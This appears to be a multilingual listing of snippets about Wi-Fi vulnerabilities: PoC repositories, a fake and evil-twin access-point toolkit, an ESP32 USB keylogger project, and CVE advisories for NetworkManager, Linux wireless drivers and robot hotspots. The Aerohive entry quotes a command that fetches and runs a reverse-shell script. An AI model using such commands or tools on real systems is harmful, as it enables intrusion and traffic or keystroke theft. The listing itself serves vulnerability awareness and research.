CVE-2019-6203-PoC

CVE-2019-6203-PoC C'è un bug PEAP in tutti i dispositivi Apple che permetterebbe a un attaccante di forzare qualsiasi dispositivo Apple iOS, macOS o tvOS ad associarsi con un punto di accesso malevolo. Questo è un PoC per CVE-2019-6203, funziona su iOS 12.2, macOS 10.14.4, testato su Kali Linux. ...

access-point

Punto di Accesso Falso AP Wi‑Fi aperto falso per la cattura del traffico in ambienti controllati. Usa hostapd modalità AP nl80211 nativa + dnsmasq DHCP/DNS + iptables NAT verso un'interfaccia uplink. Requisiti Linux, root. Scheda wireless con supporto modalità AP iw phy → Supported interface mode...

wlctl

wlctl WiFi TUI per NetworkManager. Perché impala è un'ottima TUI per il WiFi, ma parla con iwd. Se la tua distribuzione usa già NetworkManager la maggior parte — GNOME, KDE, Ubuntu, Fedora, Pop, …, non puoi inserire impala senza strappare via lo stack. wlctl mantiene l'UX di impala e la punta su...

CVE-2023-35803

CVE-2023-35803 - Nicht authentifizierte RCE in Extreme Networks/Aerohive Wireless Access Points PoC für ARM-basierte Access Points mit HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup hier: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

CVE-2025-52689-PoC

CVE-2025-52689 PoC-Code PoC-Code für die Sicherheitslücke CVE-2025-52689 im Alcatel-Lucent Enterprise AP1361D WLAN-Zugangspunkt Authentication Bypass. Dieser POC wurde für den Wettbewerb SpiritCyber 2024 entwickelt, der während der Singapore International Cyber Week 2024 stattfand. Nutzung 1...

CVE-2004-2549

CVE-2004-2549 Nortel Wireless LAN Access Point 2200 Serie - Denial of Service Exploit-db Veröffentlichung unter https://www.exploit-db.com/exploits/23786/ Autor Alex Hernandez alias @alt3kx...

CVE-2026-19685

NetworkManager did not apply the privateuser restriction to the 802-1x.ca-path and phase2-ca-path directory-valued connection properties. This incomplete fix for CVE-2025-9615 allows an unprivileged local user to point a private WPA-Enterprise 802.1X connection profile's CA path at an...

CVE-2026-19685

NetworkManager failed to enforce the private_user restriction on the 802-1x.ca-path and phase2-ca-path directory-valued connection properties—an incomplete fix for CVE-2025-9615. An unprivileged local user can point a private WPA-Enterprise (802.1X) profile's CA path at an attacker-controlled dir...

Astra Linux – Vulnerability in Chromium

In the Network Config UI of the Google Chrome browser on ChromeOS, incorrect security user interfaces prior to version 90.0.4430.72 allowed a remote attacker to potentially compromise Wi-Fi connection security through a malicious wireless adapter...

Astra Linux – Vulnerabilities in Linux, Linux-5.10, Linux-5.15, Linux-6.1

In the Linux kernel, the following vulnerabilities have been resolved: wifi: mwifiex: Do not return unused priv pointers in mwifiexgetprivbyid. mwifiexgetprivbyid returns the priv pointer corresponding to bssnum and bsstype, but without checking whether the priv is actually in use. Unused priv...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: Wifi: nl80211 – Set special AP channel widths to disallowed. Setting the AP channel width is intended for use with the standard 20/40/… MHz channel width progression. Switching between narrow channels in S1G mode is not supported...

duckLogger

DuckLogger DuckLogger è un Key Logger USB basato su ESP32-S3. Registra le sequenze di tasti in un file di testo e fornisce accesso wireless per scaricare i log tramite un punto di accesso Wi-Fi integrato. Ricreare questo progetto non richiede alcun PCB personalizzato. L'hardware utilizzato costa ...

evil-twin-ap

Evil Twin Access Point Toolkit Una configurazione completa, modulare e riproducibile di un punto di accesso evil twin per test di sicurezza difensiva, penetration testing e ricerca sulla sicurezza wireless. ⚠️ Dichiarazione di non responsabilità legale SOLO PER SCOPI EDUCATIVI E TEST DI SICUREZZA...

PT-2026-80914

NetworkManager did not apply the private user restriction to the 802-1x.ca-path and phase2-ca-path directory-valued connection properties. This incomplete fix for CVE-2025-9615 allows an unprivileged local user to point a private WPA-Enterprise 802.1X connection profile's CA path at an...

CVE-2026-68405

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: free APVLAN bcbuf SKBs outside IRQ lock ieee80211dostop removes APVLAN packets from the parent AP ps-bcbuf while holding ps-bcbuf.lock with IRQs disabled. It then calls ieee80211freetxskb before dropping the lock...

CVE-2026-68326

In the Linux kernel, the following vulnerability has been resolved: wifi: mwifiex: bound uAP association event IEs to the event buffer mwifiexprocessuapevent handles EVENTUAPSTAASSOC by exposing the reassociation request IEs that the firmware copies into the event: sinfo-assocreqies =...

EUVD-2026-55427

In the Linux kernel, the following vulnerability has been resolved: wifi: mwifiex: bound uAP association event IEs to the event buffer mwifiexprocessuapevent handles EVENTUAPSTAASSOC by exposing the reassociation request IEs that the firmware copies into the event: sinfo-assocreqies =...

EUVD-2026-55298

In the Linux kernel, the following vulnerability has been resolved: wifi: mwifiex: fix NULL dereference when the AP has HT-cap but no HT-oper mwifiextdlsaddhtoper gates its follow-the-AP-bandwidth path on bssdesc-bcnhtcap being present, but then dereferences a different pointer, bssdesc-bcnhtoper...

CVE-2026-66409

DEEBOT PRO M1 and DEEBOT PRO K1VAC are configured with weak passwords for their Wi-Fi hotspot networks. The password may be analyzed and obtained to connect to the access point of an affected robot...

CVE-2026-66409

DEEBOT PRO M1 and DEEBOT PRO K1VAC are configured with weak passwords for their Wi-Fi hotspot networks. The password may be analyzed and obtained to connect to the access point of an affected robot...